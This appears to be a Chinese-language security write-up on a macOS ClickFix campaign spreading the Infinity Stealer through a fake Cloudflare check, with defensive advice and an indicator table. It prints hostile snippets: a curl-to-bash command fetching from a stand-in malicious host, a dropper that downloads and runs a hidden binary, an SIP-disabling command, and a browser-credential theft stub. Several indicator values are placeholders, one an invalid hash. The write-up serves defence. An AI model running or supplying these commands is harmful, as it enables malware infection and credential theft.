一、攻击背景与核心发现
近期安全研究机构披露首例针对macOS系统的ClickFix攻击活动,新型窃密木马Infinity Stealer通过伪造Cloudflare验证页面诱导用户执行终端命令,实现多阶段载荷投递。该攻击首次将Windows平台成熟的ClickFix技术移植至macOS环境,标志着攻击者对macOS安全生态的认知升级。
关键技术特征:
- 攻击入口:伪造Cloudflare安全验证页面
- 载荷编译:Nuitka将Python脚本转换为原生二进制
- 传播方式:终端命令执行+多阶段载荷释放
- 数据窃取:浏览器凭证、钥匙串、加密货币钱包等敏感信息
二、多阶段攻击链技术拆解
2.1 初始感染阶段:社会工程学诱骗
攻击者通过钓鱼网站展示伪造的Cloudflare验证页面,提示用户”验证浏览器兼容性”。当用户点击”立即验证”按钮时,页面通过JavaScript动态生成终端命令:
# 伪造的终端命令示例(实际攻击中会混淆字符)osascript -e 'tell app "Terminal" to do script "curl -s http://malicious[.]site/stage1 | bash"'
该命令利用macOS的osascript工具绕过用户确认直接打开终端,并执行远程下载的Bash脚本。这种技术显著降低了用户警惕性,相比传统直接下载恶意文件的方式更具迷惑性。
2.2 第一阶段:Bash投放器执行
解码后的Bash脚本包含以下关键操作:
- 环境检测:检查系统版本、安全工具进程(如Little Snitch)
- 防护绕过:通过
csrutil disable尝试关闭SIP(系统完整性保护) - 载荷释放:
# 典型载荷释放代码片段STAGE2_URL="http://malicious[.]site/payload.bin"curl -o /tmp/.update_helper $STAGE2_URLchmod +x /tmp/.update_helper/tmp/.update_helper --c2-server=127.0.0.1
- 持久化设置:创建LaunchAgent配置文件实现开机自启
- 自删除机制:通过
rm -rf $0清除初始脚本
2.3 第二阶段:Nuitka编译载荷
Bash脚本下载的二进制文件实为Nuitka编译的Python加载器,具有以下特性:
- 反逆向设计:去除Python解释器特征,混淆函数调用关系
- 动态解密:运行时解压嵌入的Python字节码
- 内存执行:避免在磁盘留下可检测的.pyc文件
- C2通信:使用HTTPS协议与远程服务器交互,数据包经过AES加密
2.4 最终窃密阶段:Python 3.11窃密程序
解压后的Python程序实现以下功能模块:
数据收集模块
# 示例:浏览器凭证窃取逻辑def steal_browser_creds():browsers = ['Chrome', 'Firefox', 'Safari']for browser in browsers:if browser == 'Chrome':login_db = os.path.expanduser('~/Library/Application Support/Google/Chrome/Default/Login Data')# 使用sqlite3直接读取加密的凭证数据库# 实际攻击中会调用系统钥匙串API解密
反检测机制
- 环境感知:检测虚拟机、沙箱环境特征
- 行为模拟:插入随机睡眠间隔(2-10秒)
- 流量伪装:将C2通信伪装成正常HTTPS流量
- 进程注入:尝试注入系统进程隐藏恶意行为
数据外泄流程
- 压缩窃取数据为ZIP格式
- 分片上传至对象存储服务(攻击者控制的合法账户)
- 通过Telegram Bot API发送完成通知
- 服务端自动破解弱密码凭证
三、防御体系构建建议
3.1 终端防护强化
-
命令执行管控:
- 限制
osascript、curl|bash组合的使用场景 - 部署终端行为监控工具(如某终端安全产品)
- 限制
-
持久化检测:
# 检测异常LaunchAgent配置ls -la ~/Library/LaunchAgents/ | grep -v "com.apple."
-
内存防护:
- 启用XProtect内存扫描功能
- 部署行为检测EDR解决方案
3.2 网络流量监控
-
异常通信检测:
- 监控非浏览器进程的HTTPS流量
- 识别异常的User-Agent字符串
-
DNS安全:
- 部署DNS过滤系统阻断已知恶意域名
- 启用DNSSEC验证防止域名劫持
3.3 应急响应流程
- 隔离感染设备:立即断开网络连接
- 内存取证:使用LiME等工具提取内存镜像
-
日志分析:重点检查以下日志源:
system.log中的终端启动记录authorization.log中的权限提升事件install.log中的软件安装记录
-
系统恢复:
- 使用Time Machine备份恢复(需确认备份未被污染)
- 重新安装系统并从可信源恢复数据
四、攻击指标(IOCs)
| 指标类型 | 示例值 | 检测建议 |
|---|---|---|
| 恶意域名 | malicious[.]site | DNS日志查询+威胁情报匹配 |
| 文件哈希 | MD5: a1b2c3d4e5f6g7h8i9j0k | 终端文件完整性监控 |
| C2 IP | 123.45.67.89 | 防火墙出站规则限制 |
| Telegram Bot ID | @InfinityStealer_bot | 网络流量内容分析 |
| LaunchAgent路径 | ~/Library/LaunchAgents/com.update.plist | 定时任务扫描工具检测 |
五、技术演进趋势分析
此次攻击活动反映出三个重要趋势:
- 跨平台攻击工具化:攻击者复用Windows攻击技术框架,通过修改操作指引快速适配macOS
- 编译技术滥用:Nuitka等合法开发工具被恶意利用,增加静态检测难度
- 云服务整合:攻击者利用合法云存储作为中转站,提升数据外泄可靠性
安全团队应建立跨平台威胁情报共享机制,重点关注开发工具的恶意使用场景,并加强终端与网络的协同防御能力。对于开发者而言,需严格遵循最小权限原则,避免在终端中直接执行网络下载的脚本,同时定期审计系统中的持久化配置项。